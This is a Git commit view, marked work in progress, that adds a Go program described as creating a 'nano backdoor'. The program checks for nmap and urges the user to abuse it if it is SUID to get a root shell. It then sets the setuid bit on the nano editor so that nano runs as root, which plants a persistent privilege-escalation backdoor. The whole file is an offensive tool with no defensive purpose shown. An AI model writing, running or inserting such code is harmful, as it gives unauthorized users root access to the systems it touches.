[WIP]
[WIP] Creates nano backdoor. Checks if nmap is installed for priv-esc if no root.
This commit is contained in:
parent
519f4e26d9
commit
affd578c08
26
stuff.go
Normal file
26
stuff.go
Normal file
@ -0,0 +1,26 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
//"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func nmapCheck() {
|
||||
path, err := exec.LookPath("nmap")
|
||||
if err != nil {
|
||||
log.Fatal("nmap not found. no EZ priv-esc. :<")
|
||||
}
|
||||
fmt.Printf("nmap is at %s. is it SUID? go and get that shell.\n", path); //how to check for SUID set?
|
||||
}
|
||||
func main() {
|
||||
nmapCheck()
|
||||
path, err := exec.LookPath("nano")
|
||||
if err != nil {
|
||||
log.Fatal("nano not installed")
|
||||
}
|
||||
cmd := exec.Command("chmod", "u+s", path)
|
||||
cmd.Run()
|
||||
fmt.Printf("%s is now setuid too root\n", path)
|
||||
}
|
Loading…
Reference in New Issue
Block a user